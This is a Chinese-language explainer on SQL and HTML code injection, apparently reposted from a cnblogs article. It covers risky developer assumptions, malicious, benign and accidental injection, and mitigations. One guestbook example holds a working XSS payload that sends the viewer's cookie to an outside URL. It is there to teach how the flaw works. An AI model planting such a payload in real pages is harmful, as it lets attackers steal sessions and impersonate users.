Sql注入和Html注入
舉例說,有一間公司的網(wǎng)頁服務器上有一個留言板的代碼,用來讓用戶發(fā)表簡短的口信,例如:
hello word!!!!
不過,這個代碼原來有漏洞。一個意圖入侵者得悉這間公司采用了有問題的代碼,于是試圖通過留下一條附帶有代碼的口信,例如:
Nice Site,? I think I'll take it.><script>document.location='http://www.cnblogs.com/' +document.cookie</script>
如果另一個用戶查看了該頁,被注入的代碼即運行。該代碼可讓攻擊者扮裝成另一個用戶。然而這個相同的軟件bug可被用戶意外的觸發(fā),亦即造成該網(wǎng)站暴露 HTML?
That post was awesome, :>)
?在這個案例里表情符號可造成 HTML 代碼不對稱,因為不對稱的HTML標簽被注入到代碼里。
大部分這類的問題與哪些可能輸入數(shù)據(jù),或者特殊數(shù)據(jù)效果的錯誤假設相關。一些軟件開發(fā)員可能犯下危險假設的經(jīng)范型例如下:
假設某程序接口使用的元字符永遠不會在輸入中出現(xiàn);例如假設英文半角標點符號如引號或者半括號永不出現(xiàn)。 假設只有阿拉伯數(shù)字字符會當成輸入鍵入。 假設輸入永遠不會超過固定字段大小。 假設阿拉伯數(shù)字只會相等或少于上限。 假設阿拉伯數(shù)字只會相等或大于下限。 假設用戶端原本服務端提供的默認值 (例如窗體的隱藏字段或者cookie) 無法于用戶端被用戶修改。這種假設忽略了眾所皆知的攻擊如cookie下毒:在此cookie值被惡意用戶強制設置。 假設從輸入端取得指針或者數(shù)組索引不會出問題。 假設輸入端永遠不會提供關于它自己或者其他相關值得虛假信息,例如文件大小
惡意用途的代碼注入可包括:
通過SQL注入(見下文)隨意修改數(shù)據(jù)庫中的值。影響所及可從某網(wǎng)站外觀損毀,到對敏感數(shù)據(jù)嚴重的破壞。 當用戶拜訪惡意網(wǎng)站時,通過網(wǎng)頁瀏覽器或其插件的漏洞安全隱患,進行代碼注射,以便安裝流氓軟件到用戶機器上。 通過PHP或者ASP注入安裝流氓軟件或者運行惡意代碼于服務器端。 于UNIX系統(tǒng)利用Shell注入安全隱患對setuid root二進制數(shù)據(jù)作修改,達成提權到root使用權限的目的。 于視窗系統(tǒng)利用Shell注入安全隱患對系統(tǒng)服務做手腳,達成提權到本地端系統(tǒng)使用權限的目的。 從網(wǎng)頁瀏覽器利用HTML/腳本注入(跨網(wǎng)站腳本)進行連接竊取 / cookies竊取進而冒充他人,取得他人個人敏感數(shù)據(jù)。
善意使用 某些人可能會出于善意而使用代碼注射。例如,通過代碼注射以改變或者調(diào)試某程序或者系統(tǒng)的行為可以"擺弄"系統(tǒng)以某種方式表現(xiàn)其行為而不懷任何惡意。打比方說:
代碼注射可以添入某原本搜索結果頁面設計上沒有的字段,方便用戶。 通過對原本設計默認函數(shù)沒有曝光的字段賦值,代碼注射可提供一個全新的方式來過濾、排序、或者歸類數(shù)據(jù)。 這些人訴諸此種替代手段大致是下面幾種原因之一:
對軟件中希望改進函數(shù)進行潤飾的其他方法證明不可能,或者 其他對軟件修改的方式代價過高,或者 其他對軟件修改的方式過度艱苦。 一般開發(fā)社區(qū)對以此為目的的代碼注射不表歡迎。他們稱這種行為為三腳貓、半調(diào)子、或者駭 / 黑程序。(kludge or hack)
某些開發(fā)者允許或者甚至表揚代碼注射的使用來“加強”他們的軟件;通常是因為該方案提供了較不昂貴的方式來實現(xiàn)新的或者特殊化的功能。不幸的是,其副作用與無法列管的蘊含式可能相當危險。
一般來說,即使相當善意的代碼注射使用都不被建議使用。
非蓄意的用途 某些用戶可能會不經(jīng)意的進行代碼注射,因為他們對程序提供的輸入沒列在當初開發(fā)系統(tǒng)者的考慮中。例如:
用戶可能視某個包含表示字符或者字符字符串為合法輸入,而不知該字符被開發(fā)者所保留而有特殊意義 (像 "張三 & 李四" 里的 "&" 字符,或者英文約翰的 M&M 巧克力: "John's M&M's"里頭的單引號)。 用戶可能會提交格式錯亂的文件做為輸入。這種行為對單一程序沒什么問題,但可能對整個接收系統(tǒng)是災難。
避免代碼注射 要避免代碼注射的種種問題,得充分發(fā)揮輸入輸出處理保全,例如:
輸入確認。 更換危險字符。例如在PHP通過addslashes()函數(shù)保護SQL注入。 輸入編碼。 輸出編碼。 采用其他沒有飽受代碼注入漏洞困擾的編程實現(xiàn),例如“參數(shù)化SQL查詢” ("parameterized SQL queries" 又名 "prepared statements" 亦有時稱 "bind variables") 。
轉載于:https://www.cnblogs.com/cooper/archive/2010/03/23/1692792.html
總結
以上是生活随笔為你收集整理的Sql注入和Html注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: JS 伸缩效果代码 (上下伸缩)
- 下一篇: 如何删除被锁定的文件(一)他山工具篇 W